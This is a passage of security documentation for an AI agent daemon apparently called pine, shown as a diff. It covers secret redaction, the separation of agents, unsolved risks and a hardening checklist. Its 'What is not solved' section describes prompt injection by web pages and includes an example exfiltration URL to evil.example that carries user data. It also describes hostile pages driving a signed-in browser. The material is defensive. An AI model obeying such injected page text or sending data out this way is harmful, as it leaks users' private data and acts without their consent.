- Secrets live in `.env`. pine fills them into the configuration and does not put them into
|
|
407
|
+
its environment, so child processes do not inherit them.
|
|
408
|
+
- Known secret values (every value in `.env` of eight characters or more, bot tokens, the control token) are replaced with
|
|
409
|
+
`[redacted]` in events, outgoing messages and log lines.
|
|
410
|
+
- A secret does not have to pass through a model to be set up. Agents are told never to ask for
|
|
411
|
+
one; a tool that needs one leaves it out, and you type it into pine's own dialog, from where
|
|
412
|
+
it goes to the daemon and into `.env`. One that is in `.env` already is used by its name. A
|
|
413
|
+
model that runs somewhere else never receives it either way.
|
|
414
|
+
- If you write a secret into a conversation anyway and an agent stores it, it is redacted from
|
|
415
|
+
then on and removed from the stored events and tasks. That conversation's history and the
|
|
416
|
+
model have still seen it: change such a secret if the model is not yours.
|
|
417
|
+
- `pine check` reports configuration files, and a home folder, that other users can read.
|
|
418
|
+
|
|
419
|
+
### 11. Limits against runaway behaviour
|
|
420
|
+
|
|
421
|
+
Delegation depth and loops, event hops, queue length per agent, task and shell time limits,
|
|
422
|
+
prompt size for untrusted events: all in [configuration.md](configuration.md). The webhook
|
|
423
|
+
rate is fixed at 120 requests a minute per hook.
|
|
424
|
+
|
|
425
|
+
## A layout that keeps the pieces apart
|
|
426
|
+
|
|
427
|
+
The example home starts with one agent, `main`, that has web search and the browser. That is
|
|
428
|
+
fine while its workspace holds nothing you would mind losing to a web page: it has a sandbox, no
|
|
429
|
+
access to your files, and what it can do to the world is what a signed-out browser can do. It stops being fine when you add private
|
|
430
|
+
material.
|
|
431
|
+
|
|
432
|
+
The dangerous combination is one agent that has private data, reads outside content and can
|
|
433
|
+
send things out. Once you have agents with private data, split those:
|
|
434
|
+
|
|
435
|
+
| Agent | Has | Does not have |
|
|
436
|
+
|---|---|---|
|
|
437
|
+
| `main` | Your conversation, delegation to everyone | Web tools, network |
|
|
438
|
+
| `scout` | Web search and page reading | Anything private: an empty workspace, no delegation, no state |
|
|
439
|
+
| Specialists (`gonzo`, `house`) | Their repository, their own MCP servers | Web tools, network |
|
|
440
|
+
| `house` | Events from cameras and sensors (untrusted profile), writes `house/` state | A shell, the network |
|
|
441
|
+
|
|
442
|
+
`main` asks `scout` to research. What comes back is text, and it taints `main`'s session: from
|
|
443
|
+
then on `main` needs your approval to publish events or to hand `scout` another task. Scout
|
|
444
|
+
itself can be fooled by a page, but it has nothing to give away and cannot act.
|
|
445
|
+
|
|
446
|
+
## What is not solved
|
|
447
|
+
|
|
448
|
+
- **Leaks through an approved or unguarded channel.** If you give one agent both private files
|
|
449
|
+
and web access, a page can ask it to fetch `https://evil.example/?q=<your data>`, and that
|
|
450
|
+
fetch is the tool working as intended. The layout above avoids it; the URL length limit only
|
|
451
|
+
makes it slower.
|
|
452
|
+
- **Bad answers.** An injected page can still make an agent tell you something false. Approval
|
|
453
|
+
prompts show you the action, not whether the reasoning behind it was honest.
|
|
454
|
+
- **Approval fatigue.** If you approve without reading, layer 4 is worth nothing. Requests show
|
|
455
|
+
the full arguments for that reason.
|
|
456
|
+
- **Bypass mode.** It is what it says: an agent in bypass acts with your rights, on your files,
|
|
457
|
+
with the network, unasked. Use it for a task you are watching, on an agent that is not reading
|
|
458
|
+
the web, and switch back.
|
|
459
|
+
- **Your own MCP servers, extensions and source types.** They run unsandboxed, also a source
|
|
460
|
+
type the main agent wrote and you confirmed: the dialog shows what it is, not what it does. A server that can delete mail can
|
|
461
|
+
delete mail when an agent asks; mark such servers `"approve": "tainted"` or `"always"`.
|
|
462
|
+
- **Shell with network.** `sandbox.network: true` lets commands reach the internet and your
|
|
463
|
+
local network, including an unauthenticated model server. Prefer the `web` server or a
|
|
464
|
+
`commands` tool for the one thing that needs the network.
|
|
465
|
+
- **A signed-in browser.** With a persistent `profile`, the bundled browser acts as you on every
|
|
466
|
+
site you signed in to. A hostile page can ask the agent to click things there. Keep signed-in
|
|
467
|
+
profiles for tasks you start and watch yourself.
|
|
468
|
+
- **The sandbox is Apple's.** `sandbox-exec` is deprecated but is what Apple's own tools and
|
|
469
|
+
other agent runtimes use; a kernel or sandbox bug would be a way out. For stronger isolation
|
|
470
|
+
run the daemon under a separate macOS user with no access to your files.
|
|
471
|
+
- **Local users.** Another account on the machine that can read pine's home has everything.
|
|
472
|
+
Keep the home at mode 700.
|
|
473
|
+
- **Model quality.** A small quantised model follows hostile text more readily than a large one.
|
|
474
|
+
The layers above are built for that, but a weaker model will trip the approval prompts more
|
|
475
|
+
often.
|
|
476
|
+
|
|
477
|
+
## Checklist
|
|
478
|
+
|
|
479
|
+
1. `pine check` shows "No security notes", or you know why each note is there.
|
|
480
|
+
2. Every webhook has a secret (`pine check` names hooks and `webhook` sources that have none), and `pine check` names no source whose reports count as yours unless it should (a paired Telegram account is not listed).
|
|
481
|
+
3. `.env`, `pine.json`, `models.json` and `auth.json` are mode 600; the home is 700. `pine check` reports all of these.
|
|
482
|
+
4. No agent has `"sandbox": false`, `"trustWorkspace": true` or `"mode": "bypass"` in its configuration.
|
|
483
|
+
5. Web and browser tools are on an agent whose workspace holds nothing private.
|
|
484
|
+
6. MCP servers that return other people's text have `"taints": true`; those that change things
|
|
485
|
+
have `"approve": "tainted"`.
|
|
486
|
+
7. No route sets `"trust": "owner"` for a source others can write to.
|
|
487
|
+
8. `http.host` is `127.0.0.1`. Remote access goes through SSH or a tunnel.
|
|
488
|
+
9. You receive approval requests (send yourself one: give an agent `"approve": ["bash:*"]` once
|
|
489
|
+
and ask it to run `ls`; not while the agent is in bypass, where nothing asks).
|